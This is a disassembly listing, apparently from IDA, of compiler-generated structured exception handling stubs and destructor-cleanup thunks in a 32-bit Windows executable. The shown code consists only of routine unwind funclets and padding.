; Attributes: noreturn


SEH_403C90	proc near		; DATA XREF: sub_403C90+2o
		mov	eax, offset dword_43E730
		jmp	sub_436868
SEH_403C90	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438088:				; DATA XREF: ___:0043E794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D10	proc near		; DATA XREF: sub_403D10+2o
		mov	eax, offset dword_43E768
		jmp	sub_436868
SEH_403D10	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D90	proc near		; DATA XREF: sub_403D90+2o
		mov	eax, offset dword_43E7A0
		jmp	sub_436868
SEH_403D90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_4380D8:				; DATA XREF: ___:0043E7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E00	proc near		; DATA XREF: sub_403E00+2o
		mov	eax, offset dword_43E7D0
		jmp	sub_436868
SEH_403E00	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_438158:				; DATA XREF: ___:0043E85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403EE0	proc near		; DATA XREF: sub_403EE0+2o
		mov	eax, offset dword_43E830
		jmp	sub_436868
SEH_403EE0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403FC0	proc near		; DATA XREF: sub_403FC0+2o
		mov	eax, offset dword_43E890
		jmp	sub_436868
SEH_403FC0	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438298:				; DATA XREF: ___:0043E974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404640	proc near		; DATA XREF: sub_404640+2o
		mov	eax, offset dword_43E948
		jmp	sub_436868
SEH_404640	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43831B:				; DATA XREF: ___:0043E9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438326:				; DATA XREF: ___:0043EA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404C70	proc near		; DATA XREF: sub_404C70+8o
		mov	eax, offset dword_43E9D0
		jmp	sub_436868
SEH_404C70	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_4385C0:				; DATA XREF: ___:0043EBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_4385DE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_4385DE:				; CODE XREF: ___:004385D0j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4066E0	proc near		; DATA XREF: sub_4066E0+2o
		mov	eax, offset dword_43EBA8
		jmp	sub_436868
SEH_4066E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_438600:				; DATA XREF: ___:0043EC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_438624
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438624:				; CODE XREF: ___:00438616j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406890	proc near		; DATA XREF: sub_406890+2o
		mov	eax, offset dword_43EBE0
		jmp	sub_436868
SEH_406890	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43864B:				; DATA XREF: ___:0043EC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438656:				; DATA XREF: ___:0043EC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C30	proc near		; DATA XREF: sub_406C30+8o
		mov	eax, offset dword_43EC18
		jmp	sub_436868
SEH_406C30	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407030	proc near		; DATA XREF: sub_407030+2o
		mov	eax, offset dword_43EC58
		jmp	sub_436868
SEH_407030	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407660	proc near		; DATA XREF: sub_407660+8o
		mov	eax, offset dword_43EC88
		jmp	sub_436868
SEH_407660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4386C8:				; DATA XREF: ___:0043ECE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076F0	proc near		; DATA XREF: sub_4076F0+8o
		mov	eax, offset dword_43ECB8
		jmp	sub_436868
SEH_4076F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4386EB:				; DATA XREF: ___:0043ED1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2F8h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407790	proc near		; DATA XREF: sub_407790+2o
		mov	eax, offset dword_43ECF0
		jmp	sub_436868
SEH_407790	endp

; ---------------------------------------------------------------------------
		db 0CFh	dup(0CCh)
		dd 90C84D8Dh, 0C569ACE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409610	proc near		; DATA XREF: sub_409610+2o
		mov	eax, offset dword_43F0A0
		jmp	sub_436868
SEH_409610	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A320	proc near		; DATA XREF: sub_40A320+2o
		mov	eax, offset dword_43F0D0
		jmp	sub_436868
SEH_40A320	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_438B26
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438B26:				; CODE XREF: ___:00438B18j
		retn
; ---------------------------------------------------------------------------


loc_438B27:				; DATA XREF: ___:0043F12Co
		lea	ecx, [ebp-34h]
		jmp	sub_40158C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A4C0	proc near		; DATA XREF: sub_40A4C0+2o
		mov	eax, offset dword_43F100
		jmp	sub_436868
SEH_40A4C0	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 90C84D8Dh, 0C5692CE9h
		db 75h
; ---------------------------------------------------------------------------


loc_438B59:				; DATA XREF: ___:0040A9E2o
		mov	eax, offset dword_43F140
		jmp	sub_436868
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AEA0	proc near		; DATA XREF: sub_40AEA0+5o
		mov	eax, offset dword_43F170
		jmp	sub_436868
SEH_40AEA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B020	proc near		; DATA XREF: sub_40B020+5o
		mov	eax, offset dword_43F1D0
		jmp	sub_436868
SEH_40B020	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438B9B:				; DATA XREF: ___:0043F25Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B140	proc near		; DATA XREF: sub_40B140+2o
		mov	eax, offset dword_43F230
		jmp	sub_436868
SEH_40B140	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438BEB:				; DATA XREF: ___:0043F2A4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B200	proc near		; DATA XREF: sub_40B200+2o
		mov	eax, offset dword_43F278
		jmp	sub_436868
SEH_40B200	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B2A0	proc near		; DATA XREF: sub_40B2A0+2o
		mov	eax, offset dword_43F2C0
		jmp	sub_436868
SEH_40B2A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C68:				; DATA XREF: ___:0043F32Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B4C0	proc near		; DATA XREF: sub_40B4C0+2o
		mov	eax, offset dword_43F300
		jmp	sub_436868
SEH_40B4C0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C98:				; DATA XREF: ___:0040B682o
		mov	eax, offset dword_43F340
		jmp	sub_436868
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438CD0:				; DATA XREF: ___:0040B968o
		mov	eax, offset dword_43F370
		jmp	sub_436868
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C3F0	proc near		; DATA XREF: sub_40C3F0+2o
		mov	eax, offset dword_43F3B8
		jmp	sub_436868
SEH_40C3F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401AFF
; ---------------------------------------------------------------------------


loc_438D1B:				; DATA XREF: ___:0043F414o
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D26:				; DATA XREF: ___:0043F41Co
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C490	proc near		; DATA XREF: sub_40C490+8o
		mov	eax, offset dword_43F3E8
		jmp	sub_436868
SEH_40C490	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBA0	proc near		; DATA XREF: sub_40CBA0+2o
		mov	eax, offset dword_43F430
		jmp	sub_436868
SEH_40CBA0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40226B
; ---------------------------------------------------------------------------


loc_438D8B:				; DATA XREF: ___:0043F48Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D96:				; DATA XREF: ___:0043F494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438DA1:				; DATA XREF: ___:0043F49Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438DAC:				; DATA XREF: ___:0043F4A4o
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CC40	proc near		; DATA XREF: sub_40CC40+8o
		mov	eax, offset dword_43F460
		jmp	sub_436868
SEH_40CC40	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438DEB:				; DATA XREF: ___:0043F4DCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CEF0	proc near		; DATA XREF: sub_40CEF0+2o
		mov	eax, offset dword_43F4B0
		jmp	sub_436868
SEH_40CEF0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438E1B:				; DATA XREF: ___:0043F514o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438E26:				; DATA XREF: ___:0040CF72o
		mov	eax, offset dword_43F4E8
		jmp	sub_436868
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
